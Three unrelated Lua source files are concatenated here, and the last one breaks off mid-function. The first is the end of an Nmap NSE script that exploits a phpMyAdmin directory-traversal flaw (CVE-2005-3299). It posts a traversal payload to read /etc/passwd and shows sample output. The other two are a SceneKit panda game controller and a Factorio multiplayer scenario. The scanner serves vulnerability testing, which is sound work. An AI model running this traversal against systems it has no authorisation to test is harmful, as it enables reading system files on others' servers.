-- | uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
-- | proxy:x:13:13:proxy:/bin:/bin/sh
-- | www-data:x:33:33:www-data:/var/www:/bin/sh
-- | backup:x:34:34:backup:/var/backups:/bin/sh
-- | list:x:38:38:Mailing List Manager:/var/list:/bin/sh
-- | irc:x:39:39:ircd:/var/run/ircd:/bin/sh
-- | gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
-- | nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
-- | libuuid:x:100:101::/var/lib/libuuid:/bin/sh
-- | syslog:x:101:103::/home/syslog:/bin/false
-- | sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
-- | dps:x:1000:1000:dps,,,:/home/dps:/bin/bash
-- | vboxadd:x:999:1::/var/run/vboxadd:/bin/false
-- | mysql:x:103:110:MySQL Server,,,:/nonexistent:/bin/false
-- | memcache:x:104:112:Memcached,,,:/nonexistent:/bin/false
-- | ../../../../../../../../etc/passwd saved to passwd.txt
-- |
-- | References:
-- | http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3299
-- |_ http://www.exploit-db.com/exploits/1244/
author = "Alexey Meshcheryakov"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"vuln", "exploit"}
portrule = shortport.http
---
--Writes string to file
--Taken from: hostmap.nse
local function write_file(filename, contents)
local f, err = io.open(filename, "w")
if not f then
return f, err
end
f:write(contents)
f:close()
return true
end
--Default configuration values
local EXPLOIT_QUERY = "usesubform[1]=1&usesubform[2]=1&subform[1][redirect]=%s&subform[1][cXIb8O3]=1"
local DEFAULT_FILE = "../../../../../etc/passwd"
local DEFAULT_DIR = "/phpMyAdmin-2.6.4-pl1/"
local EXPLOIT_PATH = "libraries/grab_globals.lib.php"
action = function(host, port)
local dir = stdnse.get_script_args("http-phpmyadmin-dir-traversal.dir") or DEFAULT_DIR
local evil_uri = dir..EXPLOIT_PATH
local rfile = stdnse.get_script_args("http-phpmyadmin-dir-traversal.file") or DEFAULT_FILE
local evil_postdata = EXPLOIT_QUERY:format(rfile)
local filewrite = stdnse.get_script_args(SCRIPT_NAME..".outfile")
stdnse.debug1("HTTP POST %s%s", stdnse.get_hostname(host), evil_uri)
stdnse.debug1("POST DATA %s", evil_postdata)
local vuln = {
title = 'phpMyAdmin grab_globals.lib.php subform Parameter Traversal Local File Inclusion',
IDS = {CVE = 'CVE-2005-3299'},
state = vulns.STATE.NOT_VULN,
description =
[[PHP file inclusion vulnerability in grab_globals.lib.php in phpMyAdmin 2.6.4 and 2.6.4-pl1 allows remote attackers to include local files via the $__redirect parameter, possibly involving the subform array.
]],
references = {
'http://www.exploit-db.com/exploits/1244/',
},
dates = {
disclosure = {year = '2005', month = '10', dat = '10'},
},
}
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
-- Check if we can distinguish vulnerable from non-vulnerable response
local response = http.post(host, port, "/" .. rand.random_alpha(12),
{header = {["Content-Type"] = "application/x-www-form-urlencoded"}}, nil, evil_postdata)
local testable = true
if response.status == 200 then
testable = false
stdnse.debug1("Server responds with 200 for POST to any URI.")
end
response = http.post(host, port, evil_uri,
{header = {["Content-Type"] = "application/x-www-form-urlencoded"}}, nil, evil_postdata)
if response.body and response.status==200 then
stdnse.debug1("response : %s", response.body)
vuln.state = testable and vulns.STATE.EXPLOIT or vulns.STATE.UNKNOWN
vuln.extra_info = rfile.." :\n"..response.body
if filewrite then
local status, err = write_file(filewrite, response.body)
if status then
vuln.extra_info = string.format("%s%s saved to %s\n", vuln.extra_info, rfile, filewrite)
else
vuln.extra_info = string.format("%sError saving %s to %s: %s\n", vuln.extra_info, rfile, filewrite, err)
end
end
elseif response.status==500 then
vuln.state = vulns.STATE.LIKELY_VULN
stdnse.debug1("[Error] File not found:%s", rfile)
stdnse.debug1("response : %s", response.body)
vuln.extra_info = string.format("%s not found.\n", rfile)
end
return vuln_report:make_output(vuln)
end
|
-----------------------------------------------------------------------
-- Declare shortcuts and import required modules
-----------------------------------------------------------------------
local SCNScene = objc.SCNScene
local SCNNode = objc.SCNNode
local SCNAction = objc.SCNAction
local SCNAudioPLayer = objc.SCNAudioPlayer
local SCNAudioSource = objc.SCNAudioSource
local SCNTransaction = objc.SCNTransaction
local CGPoint = struct.CGPoint
local SCNVector3 = struct.SCNVector3
local SCNVector4 = struct.SCNVector4
local CaMediaTimingFunction = require "QuartzCore.CAMediaTimingFunction"
local CaMediaTiming = require "QuartzCore.CAMediaTiming"
local CACurrentMediaTime = require "QuartzCore.CABase".CurrentMediaTime
local ScnSceneSource = require "SceneKit.SCNSceneSource"
local pi = math.pi
local min = math.min
local max = math.max
local abs = math.abs
local PandaCharacter = require "PandaCharacter"
-----------------------------------------------------------------------
-- Create a GameViewController class extension
-----------------------------------------------------------------------
local GameViewController = class.extendClass(objc.GameViewController)
-----------------------------------------------------------------------
-- Methods for dynamic update (see module MonitorControllerClass)
-----------------------------------------------------------------------
function GameViewController:configureView()
-- This method will be called from viewDidLoad(), or when this module's code has changed
-- Put here the code configuring the controller's view
if self.pandaCharacter == nil then
self.pandaCharacter = PandaCharacter:new()
end
self:getResource ("GameScnAssets.level", "scn", "updateLevelScene")
self:getResource ("Particle systems.collect", "scnp", "updateCollectFlowerParticleSystem")
self.gameView.delegate = self
end
function GameViewController:refreshView()
-- This method will be executed when the module is reloaded.
self:configureView()
--[[ -- Display statistics on the game view
self.gameView.showsStatistics = true]]
--[[ -- Return the panda to the starting point
local startingPointNode = self.gameView.scene.rootNode:childNodeWithName_recursively ( 'startingPoint', true)
self.pandaCharacter.node.transform = startingPointNode.transform]]
end
function GameViewController:viewControllerStateData()
-- Return internal state information for the current View Controller, used to clone it
-- into a replacement View Controller, in case of storyboard change.
-- State data can be returned as a Lua table or as a function with a single parameter: the replacement view controller.
local gameStateData = self:gameStateData()
if gameStateData then
return { savedGameStateData = gameStateData }
end
end
GameViewController.storyboardIdentifier = "GameViewController"
function GameViewController:gameStateData()
local gameStateData
local levelScene = self.gameView.scene
if levelScene ~= nil then
gameStateData = { }
-- Camera position
if self.cameraXHandle then
gameStateData.cameraXAngle = self.cameraXHandle.rotation.w * ((self.cameraXHandle.rotation.x > 0) and 1 or -1)
end
if self.cameraYHandle then
gameStateData.cameraYAngle = self.cameraYHandle.rotation.w * ((self.cameraYHandle.rotation.y > 0) and 1 or -1)
end
end
return gameStateData
end
function GameViewController:updateLevelScene (scene --[[@type objc.SCNScene]], sceneUrl --[[@type objc.NSURL]])
if not (scene and scene:isKindOfClass(SCNScene)) and (sceneUrl ~= nil) then
-- the 'scene' parameter is not a SCNSCene: unarchive the scene from the provided URL
scene = SCNScene:sceneWithURL_options_error (sceneUrl, nil)
end
if scene and scene:isKindOfClass(SCNScene) then
-- Save relevant state info before replacing the current scene (i.e. all changes done to the current scene geometry or structure)
local gameStateData = self:gameStateData()
if gameStateData == nil then
-- Game state data may have been stored as ViewController state data
gameStateData = self.savedGameStateData
end
-- Setup the level scene
local gameView --[[@type objc.GameView]] = self.gameView
gameView.scene = scene
gameView.playing = true
gameView.loops = true
-- Various setups
self:setupSceneCollisionNodes(scene, gameStateData)
self:setupCameras(scene, gameStateData)
self:setupSounds(scene, gameStateData)
-- Add the panda character to the scene
scene.rootNode:addChildNode(self.pandaCharacter.node)
self.pandaCharacter:refreshWalkingAnimation()
if gameStateData == nil then
-- place the character at the starting point
local startingPointNode = scene.rootNode:childNodeWithName_recursively ( 'startingPoint', true)
self.pandaCharacter.node.transform = startingPointNode.transform
end
end
end
function GameViewController:updateCollectFlowerParticleSystem (_, particleSystemUrl)
local particleSystem
-- Get the particle system from the keyed archive at the specified URL, and fix the (relative) particle image path
if particleSystemUrl ~= nil then
particleSystem = objc.NSKeyedUnarchiver:unarchiveObjectWithFile (particleSystemUrl.path)
if particleSystem:isKindOfClass(objc.SCNParticleSystem) then
local unarchivedParticleImage = particleSystem.particleImage
if unarchivedParticleImage:isKindOfClass(objc.NSURL) then
local particleImagePath = unarchivedParticleImage.relativePath
if not particleImagePath.isAbsolutePath then
particleSystem.particleImage = particleSystemUrl.URLByDeletingLastPathComponent:URLByAppendingPathComponent(particleImagePath)
else -- absolute path
local mainBundleResourcePath = objc.NSBundle.mainBundle.resourceURL.path
if particleImagePath:hasPrefix (mainBundleResourcePath) then
-- The SCNParticleSystem unarchiver transforms relative paths in the archive into absolute URLs in the application's resource folder
-- if the corresponding file exists. If a resource image exists at this relative path, point to this path to support dynamic
-- update of the particle image.
local relativeImagePath = particleImagePath:substringFromIndex(mainBundleResourcePath.length + 1) -- No traing '/' in a NSURL path
local particleImageResourceUrl = particleSystemUrl.URLByDeletingLastPathComponent:URLByAppendingPathComponent(relativeImagePath)
if objc.NSFileManager.defaultManager:fileExistsAtPath(particleImageResourceUrl.path) then
particleSystem.particleImage = particleImageResourceUrl
end
end
end
end
else
particleSystem = nil
end
end
if particleSystem then
particleSystem.loops = false
self.collectFlowerParticleSystem = particleSystem
end
end
-----------------------------------------------------------------------
-- Managing the camera
-----------------------------------------------------------------------
local cameraAltitude = 1.0
local cameraDistance = 9
local cameraDefaultAngleX = - pi / 30
local cameraDefaultAngleY = pi * 5 / 4
local cameraMoveDuration = 3.0
function GameViewController:panCameraWithDx_dy (panX, panY)
if not self.lockCamera then
local panScale = 0.005
-- Make sure the camera handles are correctly reset (because automatic camera animations may have put the "rotation" in a weird state.
SCNTransaction:begin()
SCNTransaction:setAnimationDuration (0)
do
self.cameraYHandle:removeAllActions()
self.cameraXHandle:removeAllActions()
if self.cameraYHandle.rotation.y < 0 then
self.cameraYHandle.rotation = SCNVector4(0.0, 1.0, 0.0, -self.cameraYHandle.rotation.w)
end
if self.cameraXHandle.rotation.x < 0 then
self.cameraXHandle.rotation = SCNVector4(1.0, 0.0, 0.0, -self.cameraXHandle.rotation.w)
end
end
SCNTransaction:commit()
-- Update the camera position with some inertia.
SCNTransaction:begin()
SCNTransaction:setAnimationDuration (0.30)
-- SCNTransaction:setAnimationTimingFunction (objc.CAMediaTimingFunction:functionWithName(CaMediaTimingFunction.EaseInEaseOut))
do
self.cameraYHandle.rotation = SCNVector4(0.0, 1.0, 0.0, self.cameraYHandle.rotation.y * (self.cameraYHandle.rotation.w - panX * panScale))
self.cameraXHandle.rotation = SCNVector4(1.0, 0.0, 0.0, max(-pi / 2, min (0.15, self.cameraXHandle.rotation.w + panY * panScale)))
end
SCNTransaction:commit()
end
end
function GameViewController:updateCameraForCurrentGroundNode (groundNode)
if not self.gameIsComplete then
if self.currentGroundNode == nil then
self.currentGroundNode = groundNode
elseif groundNode ~= self.currentGroundNode then
self.currentGroundNode = groundNode
local cameraPositionForNode = self.automaticCameraPositions[groundNode]
if type(cameraPositionForNode) == 'function' then
cameraPositionForNode = cameraPositionForNode(self.pandaCharacter.node)
end
if cameraPositionForNode then
local cameraYAction = SCNAction:rotateToX_y_z_duration_shortestUnitArc (0, cameraPositionForNode.y, 0, cameraMoveDuration, true)
local cameraXAction = SCNAction:rotateToX_y_z_duration_shortestUnitArc (cameraPositionForNode.x, 0, 0, cameraMoveDuration, true)
self.cameraYHandle:runAction (cameraYAction)
self.cameraXHandle:runAction (cameraXAction)
end
end
end
end
-----------------------------------------------------------------------
-- Moving the character
-----------------------------------------------------------------------
function GameViewController:characterDirection ()
local controllerDirectionPoint = self:controllerDirection()
local characterDirection = SCNVector3(controllerDirectionPoint.x, 0.0, controllerDirectionPoint.y)
if (characterDirection.x ~= 0.0) or (characterDirection.z ~= 0.0) then
local pointOfView = self.gameView.pointOfView
if pointOfView then
-- convert the characterDirection considered in the coordinate system of the camera to the world coordinates space
characterDirection = pointOfView:normalizedDirectionInWorldXZPlane(characterDirection)
end
end
return characterDirection
end
-----------------------------------------------------------------------
-- SCNSceneRendererDelegate Protocol
-----------------------------------------------------------------------
GameViewController:publishObjcProtocols ("SCNSceneRendererDelegate")
function GameViewController:renderer_updateAtTime (renderer, time)
local character = self.pandaCharacter
-- Add state fields in the character for obstacle detection
character.replacementPosition = nil
character.maxPenetrationDistance = 0.0
-- Evaluate the character direction
local controllerDirectionPoint = self:controllerDirection()
local characterDirection = SCNVector3(controllerDirectionPoint.x, 0.0, controllerDirectionPoint.y)
if (characterDirection.x ~= 0.0) or (characterDirection.z ~= 0.0) then
local pointOfView = self.gameView.pointOfView
if pointOfView then
-- convert the characterDirection considered in the coordinate system of the camera to the world coordinates space
characterDirection = pointOfView:normalizedDirectionInWorldXZPlane(characterDirection)
end
end
-- Make the character walk
local groundNode = character:walkInScene_withDirection_atTime(self.gameView.scene, characterDirection, time)
if groundNode then
self:updateCameraForCurrentGroundNode (groundNode)
end
-- Flames are static physics bodies, but they are moved by an action - So we need to tell the physics engine that the transforms did change.
for _, flameNode in pairs(self.flameNodes) do
flameNode.physicsBody:resetTransform()
end
end
function GameViewController:renderer_didSimulatePhysicsAtTime (renderer, time)
-- If the character did hit a wall, its position may need to be adjusted
local character = self.pandaCharacter
if character.replacementPosition then
character.node.position = character.replacementPosition
-- character.isWalking = false
end
end
-----------------------------------------------------------------------
-- Setup methods
-----------------------------------------------------------------------
function GameViewController:setupCameras(scene --[[@type objc.SCNScene]], gameStateData)
local rootNode = scene.rootNode
--[[ We create 2 nodes to manipulate the camera:
The first node "cameraYHandle" is at the center of the world (0, ALTITUDE, 0) and will only rotate on the Y axis
The second node "cameraXHandle" is a child of the first one and will ony rotate on the X axis
The camera node is a child of the "cameraXHandle" at a specific distance (DISTANCE).
So rotating cameraYHandle and cameraXHandle will update the camera position and the camera will always look at the center of the scene.
]]
local pov = self.gameView.pointOfView
pov.eulerAngles = SCNVector3(0.0, 0.0, 0.0)
pov.position = SCNVector3(0.0, 0.0, cameraDistance)
local cameraXHandle = SCNNode:new()
cameraXHandle.rotation = SCNVector4(1.0, 0.0, 0.0, gameStateData and gameStateData.cameraXAngle or cameraDefaultAngleX)
cameraXHandle:addChildNode (pov)
self.cameraXHandle = cameraXHandle
if self.cameraYHandle then
-- make sure we don't have more that one camera handle in the scene
self.cameraYHandle:removeFromParentNode()
end
local cameraYHandle = SCNNode:new()
cameraYHandle.position = SCNVector3(0.0, cameraAltitude, 0.0)
cameraYHandle.rotation = SCNVector4(0.0, 1.0, 0.0, gameStateData and gameStateData.cameraYAngle or cameraDefaultAngleY)
cameraYHandle:addChildNode (cameraXHandle)
self.cameraYHandle = cameraYHandle
rootNode:addChildNode(cameraYHandle)
-- Automatic camera positions for identified ground nodes
self.automaticCameraPositions = { [rootNode:childNodeWithName_recursively("bloc04_collisionMesh_02", true)] = CGPoint(-0.188683, 4.719608),
[rootNode:childNodeWithName_recursively("bloc03_collisionMesh", true)] = CGPoint(-0.435909, 6.297167),
[rootNode:childNodeWithName_recursively("bloc07_collisionMesh", true)] = CGPoint(-0.333663, 7.868592),
[rootNode:childNodeWithName_recursively("bloc08_collisionMesh", true)] = CGPoint(-0.575011, 8.739003),
[rootNode:childNodeWithName_recursively("bloc06_collisionMesh", true)] = CGPoint(-1.095519, 9.425292),
[rootNode:childNodeWithName_recursively("bloc05_collisionMesh_02", true)] = function (characterNode)
if characterNode.position.x < 2.5 then
return CGPoint(-0.098175, 3.926991)
else
return CGPoint(-0.072051, 8.202264)
end
end,
[rootNode:childNodeWithName_recursively("bloc05_collisionMesh_01", true)] = CGPoint(-0.072051, 8.202264),
}
local isGameStarting = (gameStateData == nil) or self.lockCamera or
((abs(gameStateData.cameraXAngle - cameraDefaultAngleX) < 0.0001) and (abs(gameStateData.cameraYAngle -cameraDefaultAngleY) < 0.0001))
if isGameStarting then
-- Animate camera on launch and prevent the user from manipulating the camera until the end of the animation.
SCNTransaction:begin()
SCNTransaction:setAnimationDuration (0.25)
SCNTransaction:setCompletionBlock (function()
self.lockCamera = false
end)
self.lockCamera = true
-- Create 2 additive animations that converge to 0
-- That way at the end of the animation, the camera will be at its default position.
local cameraYAnimation = objc.CABasicAnimation:animationWithKeyPath("rotation.w")
cameraYAnimation.fromValue = math.pi * 2 - cameraYHandle.rotation.w
cameraYAnimation.toValue = 0.0
cameraYAnimation.additive = true
cameraYAnimation.beginTime = CACurrentMediaTime() + 3.0
cameraYAnimation.fillMode = CaMediaTiming.FillModeBoth
cameraYAnimation.duration = 5.0
cameraYAnimation.timingFunction = objc.CAMediaTimingFunction:functionWithName(CaMediaTimingFunction.EaseInEaseOut)
cameraYHandle:addAnimation_forKey (cameraYAnimation, nil)
local cameraXAnimation = cameraYAnimation:copy()
cameraXAnimation.fromValue = - math.pi / 2 + cameraXHandle.rotation.w
cameraXHandle:addAnimation_forKey (cameraXAnimation, nil)
SCNTransaction:commit()
end
end
function GameViewController:setupSounds (scene --[[@type objc.SCNScene]], gameStateData)
local function ambientAudioSourceWithName_volume (soundFileName, volume)
local audioSource = SCNAudioSource:audioSourceNamed("sounds/" .. soundFileName)
audioSource.volume = volume
audioSource.positional = false
audioSource.shouldStream = true
audioSource.loops = true
-- audioSource:load()
return audioSource
end
local function audioSourceWithName_volume (soundFileName, volume, looping)
local audioSource = SCNAudioSource:audioSourceNamed("sounds/" .. soundFileName)
audioSource.volume = volume
audioSource.positional = true
audioSource.shouldStream = false
audioSource.loops = false
audioSource:load()
return audioSource
end
local rootNode = self.gameView.scene.rootNode
rootNode:removeAllAudioPlayers()
rootNode:addAudioPlayer (SCNAudioPLayer:newWithSource (ambientAudioSourceWithName_volume ("music.m4a", 0.25)))
rootNode:addAudioPlayer (SCNAudioPLayer:newWithSource (ambientAudioSourceWithName_volume ("wind.m4a", 0.25)))
self.collectPearlSound = audioSourceWithName_volume ("collect1.mp3", 0.5)
self.collectFlowerSound = audioSourceWithName_volume ("collect2.mp3", 1.0)
end
-----------------------------------------------------------------------
-- Load the class extension that handles collisions and treasures
-----------------------------------------------------------------------
require "GameViewController-Collisions"
-----------------------------------------------------------------------
-- return the class defined by this module
-----------------------------------------------------------------------
return GameViewController
|
local console = {
name = 'Console',
admin = true,
print = function(...) rcon.print(...) end,
color = {1, 1, 1, 1}
}
local color = require("utils/color_presets")
-- control.lua
-- Mar 2019
-- Oarc's Separated Spawn Scenario
--
-- I wanted to create a scenario that allows you to spawn in separate locations
-- From there, I ended up adding a bunch of other minor/major features
--
-- Credit:
-- Tags - Taken from WOGs scenario
-- Rocket Silo - Taken from Frontier as an idea
--
-- Feel free to re-use anything you want. It would be nice to give me credit
-- if you can.
-- To keep the scenario more manageable (for myself) I have done the stalkinging:
-- 1. Keep all event calls in control.lua (here)
-- 2. Put all config options in config.lua and provided an example-config.lua file too.
-- 3. Put other stuff into their own files where possible.
-- 4. Put all other files into lib folder
-- 5. Provided an examples folder for example/recommended map gen settings
-- Generic Utility Includes
require("lib/oarc_utils")
market = require("addons/market")
tools = require("addons/tools")
groups = require("addons/groups")
local find_patch = require("addons/find_patch")
local deathmarkers = require("addons/death-marker")
local flying_tags = require("flying_tags")
require("addons/bonuses_gui")
-- Other soft-mod type features.
require("lib/frontier_silo")
require("lib/tag")
require("lib/game_opts")
require("lib/player_list")
require("lib/rocket_launch")
require("lib/admin_commands")
require("lib/regrowth_map")
require("lib/shared_chests")
require("lib/notepad")
require("lib/map_features")
require("lib/oarc_buy")
require("lib/auto_decon_miners")
-- For Philip. I currently do not use this and need to add proper support for
-- commands like this in the future.
-- require("lib/rgcommand")
-- require("lib/helper_commands")
-- Main Configuration File
require("config")
-- Save all config settings to global table.
require("lib/oarc_global_cfg.lua")
-- Scenario Specific Includes
require("lib/separate_spawns")
require("lib/separate_spawns_guis")
require("lib/oarc_enemies")
require("lib/oarc_gui_tabs")
-- compatibility with mods
require("compat/factoriomaps")
-- Create a new surface so we can modify map settings at the start.
GAME_SURFACE_NAME = "oarc"
commands.add_command("trigger-map-cleanup",
"Force immediate removal of all expired chunks (unused chunk removal mod)",
RegrowthForceRemoveChunksCmd)
--------------------------------------------------------------------------------
-- ALL EVENT HANLDERS ARE HERE IN ONE PLACE!
--------------------------------------------------------------------------------
----------------------------------------
-- On Init - only runs once the first
-- time the game starts
----------------------------------------
script.on_init(function(event)
-- FIRST
InitOarcConfig()
-- Regrowth (always init so we can enable during play.)
RegrowthInit()
-- Create new game surface
CreateGameSurface()
-- MUST be before other stuff, but after surface creation.
InitSpawnGlobalsAndForces()
market.init()
groups.init()
-- Frontier Silo Area Generation
if (global.ocfg.frontier_rocket_silo and
not global.ocfg.enable_magic_factories) then
SpawnSilosAndGenerateSiloAreas()
end
-- Everyone do the shuffle. Helps avoid always starting at the same location.
-- Needs to be done after the silo spawning.
if (global.ocfg.enable_vanilla_spawns) then
global.vanillaSpawns = FYShuffle(global.vanillaSpawns)
log("Vanilla spawns:")
log(serpent.block(global.vanillaSpawns))
end
Compat.handle_factoriomaps()
if (global.ocfg.enable_coin_shop and global.ocfg.enable_chest_sharing) then
SharedChestInitItems()
end
if (global.ocfg.enable_coin_shop and global.ocfg.enable_magic_factories) then
MagicFactoriesInit()
end
OarcMapFeatureInitGlobalCounters()
OarcAutoDeconOnInit()
-- Display starting point text as a display of dominance.
RenderPermanentGroundText(game.surfaces[GAME_SURFACE_NAME],
{x = -32, y = -30}, 37, "Spawn",
{0.9, 0.3, 0.3, 0.8})
end)
script.on_load(function() Compat.handle_factoriomaps() end)
----------------------------------------
-- Rocket launch event
-- Used for end game win conditions / unlocking late game stuff
----------------------------------------
script.on_event(defines.events.on_rocket_launched,
function(event) RocketLaunchEvent(event) end)
----------------------------------------
-- Surface Generation
----------------------------------------
----------------------------------------
-- Chunk Generation
----------------------------------------
script.on_event(defines.events.on_chunk_generated, function(event)
if (event.surface.name ~= GAME_SURFACE_NAME) then return end
if global.ocfg.enable_regrowth then RegrowthChunkGenerate(event) end
if global.ocfg.enable_undecorator then UndecorateOnChunkGenerate(event) end
SeparateSpawnsGenerateChunk(event)
CreateHoldingPen(event.surface, event.area)
end)
----------------------------------------
-- Gui Click
----------------------------------------
script.on_event(defines.events.on_gui_click, function(event)
-- Don't interfere with other mod related stuff.
if (event.element.get_mod() ~= nil) then return end
if global.ocfg.enable_tags then TagGuiClick(event) end
WelcomeTextGuiClick(event)
SpawnOptsGuiClick(event)
SpawnCtrlGuiClick(event)
SharedSpwnOptsGuiClick(event)
BuddySpawnOptsGuiClick(event)
BuddySpawnWaitMenuClick(event)
BuddySpawnRequestMenuClick(event)
SharedSpawnJoinWaitMenuClick(event)
ClickOarcGuiButton(event)
market.teleClick(event)
if global.ocfg.enable_coin_shop then ClickOarcStoreButton(event) end
GameOptionsGuiClick(event)
end)
script.on_event(defines.events.on_gui_checked_state_changed, function(event)
SpawnOptsRadioSelect(event)
SpawnCtrlGuiOptionsSelect(event)
end)
script.on_event(defines.events.on_gui_selected_tab_changed, function(event)
TabChangeOarcGui(event)
if global.ocfg.enable_coin_shop then TabChangeOarcStore(event) end
end)
----------------------------------------
-- Player Events
----------------------------------------
script.on_event(defines.events.on_player_changed_position, function(event)
local player = game.players[event.player_index]
market.teleGui(player)
end)
script.on_event(defines.events.on_pre_player_died,
function(event) deathmarkers.playerDied(event) end)
script.on_event(defines.events.on_pre_player_mined_item,
function(event) deathmarkers.onMined(event) end)
script.on_event(defines.events.on_player_joined_game, function(event)
PlayerJoinedMessages(event)
ServerWriteFile("player_events", game.players[event.player_index].name ..
" joined the game." .. "\n")
local player = game.players[event.player_index]
if (global.oarc_players[player.name] == nil) then
global.oarc_players[player.name] = {}
end
if not global.ocore.markets.player_markets then
global.ocore.markets.player_markets = {}
end
if not global.ocore.markets.player_markets[player.name] then
global.ocore.markets.player_markets[player.name] = {}
end
if not global.ocore.markets.teles then global.ocore.markets.teles = {} end
if not global.ocore.groups.player_groups then
global.ocore.groups.player_groups = {}
end
if not global.ocore.groups.player_groups[player.name] then
global.ocore.groups.player_groups[player.name] = {}
end
if not global.ocore.markets.player_markets[player.name].stats then
global.ocore.markets.player_markets[player.name].stats = {
["gun-speed"] = {
["bullet"] = {["lvl"] = 1, ["multiplier"] = 0},
-- ["shotgun-shell"] = {["lvl"] = 1, ["multiplier"] = 0},
-- ["landmine"] = {["lvl"] = 1, ["multiplier"] = 0},
-- ["grenade"] = {["lvl"] = 1, ["multiplier"] = 0},
-- ["cannon-shell"] = {["lvl"] = 1, ["multiplier"] = 0},
["flamethrower"] = {["lvl"] = 1, ["multiplier"] = 0},
["rocket"] = {["lvl"] = 1, ["multiplier"] = 0},
["laser"] = {["lvl"] = 1, ["multiplier"] = 0}
},
["ammo-damage"] = {
["bullet"] = {["lvl"] = 1, ["multiplier"] = 0},
-- ["shotgun-shell"] = {["lvl"] = 1, ["multiplier"] = 0},
-- ["landmine"] = {["lvl"] = 1, ["multiplier"] = 0},
-- ["grenade"] = {["lvl"] = 1, ["multiplier"] = 0},
-- ["cannon-shell"] = {["lvl"] = 1, ["multiplier"] = 0},
["flamethrower"] = {["lvl"] = 1, ["multiplier"] = 0},
["rocket"] = {["lvl"] = 1, ["multiplier"] = 0},
["laser"] = {["lvl"] = 1, ["multiplier"] = 0}
},
["turret-attack"] = {
["gun-turret"] = {["lvl"] = 1, ["multiplier"] = 0},
["flamethrower-turret"] = {["lvl"] = 1, ["multiplier"] = 0},
["laser-turret"] = {["lvl"] = 1, ["multiplier"] = 0}
},
["character-health"] = {
["current"] = {["lvl"] = 1, ["multiplier"] = 0}
},
["mining-productivity"] = {
["current"] = {["lvl"] = 1, ["multiplier"] = 0}
},
["sell-speed"] = {["current"] = {["lvl"] = 1, ["multiplier"] = 10}}
}
end
deathmarkers.init(event)
end)
script.on_event(defines.events.on_player_created, function(event)
local player = game.players[event.player_index]
-- Move the player to the game surface immediately.
player.teleport({x = 0, y = 0}, GAME_SURFACE_NAME)
market.help()
if global.ocfg.enable_long_reach then GivePlayerLongReach(player) end
if player.admin and DEBUG_MODE then
local newSpawn = {x = 0, y = 0}
newSpawn = FindUngeneratedCoordinates(global.ocfg.far_dist_start,
global.ocfg.far_dist_end,
player.surface)
if ((newSpawn.x == 0) and (newSpawn.y == 0)) then
newSpawn = FindMapEdge(GetRandomVector(), player.surface)
end
ChangePlayerSpawn(player, newSpawn)
QueuePlayerForDelayedSpawn(player.name, newSpawn, false,
global.ocfg.enable_vanilla_spawns)
player.force = game.create_force(player.name)
return
end
SeparateSpawnsPlayerCreated(event.player_index, true)
InitOarcGuiTabs(player)
if global.ocfg.enable_coin_shop then InitOarcStoreGuiTabs(player) end
deathmarkers.init(event)
end)
script.on_event(defines.events.on_player_respawned, function(event)
SeparateSpawnsPlayerRespawned(event)
PlayerRespawnItems(event)
if global.ocfg.enable_long_reach then
GivePlayerLongReach(game.players[event.player_index])
end
deathmarkers.playerRespawned(event)
end)
script.on_event(defines.events.on_player_left_game, function(event)
ServerWriteFile("player_events", game.players[event.player_index].name ..
" left the game." .. "\n")
local player = game.players[event.player_index]
-- If players leave early, say goodbye.
if (player and
(player.online_time <
(global.ocfg.minimum_online_time * TICKS_PER_MINUTE))) then
log("Player left early: " .. player.name)
SendBroadcastMsg(player.name ..
"'s base was marked for immediate clean up because they left within " ..
global.ocfg.minimum_online_time ..
" minutes of joining.")
RemoveOrResetPlayer(player, true, true, true, true)
end
end)
----------------------------------------
-- On tick events. Stuff that needs to happen at regular intervals.
-- Delayed events, delayed spawns, ...
----------------------------------------
script.on_event(defines.events.on_tick, function(event)
if global.ocfg.enable_regrowth then
RegrowthOnTick()
RegrowthForceRemovalOnTick()
end
if game.tick % 60 == 0 then tools.FlyingTime(game.tick) end
DelayedSpawnOnTick()
UpdatePlayerBuffsOnTick(game.tick)
ReportPlayerBuffsOnTick()
market.on_tick()
groups.on_tick()
flying_tags.update()
tools.stockUp()
if global.ocfg.enable_chest_sharing then SharedChestsOnTick() end
if (global.ocfg.enable_chest_sharing and global.ocfg.enable_magic_factories) then
MagicFactoriesOnTick()
end
TimeoutSpeechBubblesOnTick()
FadeoutRenderOnTick()
if global.ocfg.enable_miner_decon then OarcAutoDeconOnTick() end
RechargePlayersOnTick()
end)
script.on_event(defines.events.on_sector_scanned, function(event)
if global.ocfg.enable_regrowth then RegrowthSectorScan(event) end
end)
----------------------------------------
-- Various on "built" events
----------------------------------------
script.on_event(defines.events.on_built_entity, function(event)
if global.ocfg.enable_autofill then Autofill(event) end
if global.ocfg.enable_regrowth then
if (event.created_entity.surface.name ~= GAME_SURFACE_NAME) then
return
end
RegrowthMarkAreaSafeGivenTilePos(event.created_entity.position, 2, false)
end
if global.ocfg.enable_anti_grief then SetItemBlueprintTimeToLive(event) end
if global.ocfg.frontier_rocket_silo then BuildSiloAttempt(event) end
end)
script.on_event(defines.events.on_robot_built_entity, function(event)
if global.ocfg.enable_regrowth then
if (event.created_entity.surface.name ~= GAME_SURFACE_NAME) then
return
end
RegrowthMarkAreaSafeGivenTilePos(event.created_entity.position, 2, false)
end
if global.ocfg.frontier_rocket_silo then BuildSiloAttempt(event) end
end)
script.on_event(defines.events.on_player_built_tile, function(event)
if global.ocfg.enable_regrowth then
if (game.surfaces[event.surface_index].name ~= GAME_SURFACE_NAME) then
return
end
for k, v in pairs(event.tiles) do
RegrowthMarkAreaSafeGivenTilePos(v.position, 2, false)
end
end
end)
----------------------------------------
-- On script_raised_built. This should help catch mods that
-- place items that don't count as player_built and robot_built.
-- Specifically FARL.
----------------------------------------
script.on_event(defines.events.script_raised_built, function(event)
if global.ocfg.enable_regrowth then
if (event.entity.surface.name ~= GAME_SURFACE_NAME) then return end
RegrowthMarkAreaSafeGivenTilePos(event.entity.position, 2, false)
end
end)
----------------------------------------
-- Shared chat, so you don't have to type /s
-- But you do lose your player colors across forces.
----------------------------------------
script.on_event(defines.events.on_console_chat, function(event)
if (event.player_index) then
ServerWriteFile("server_chat", game.players[event.player_index].name ..
": " .. event.message .. "\n")
end
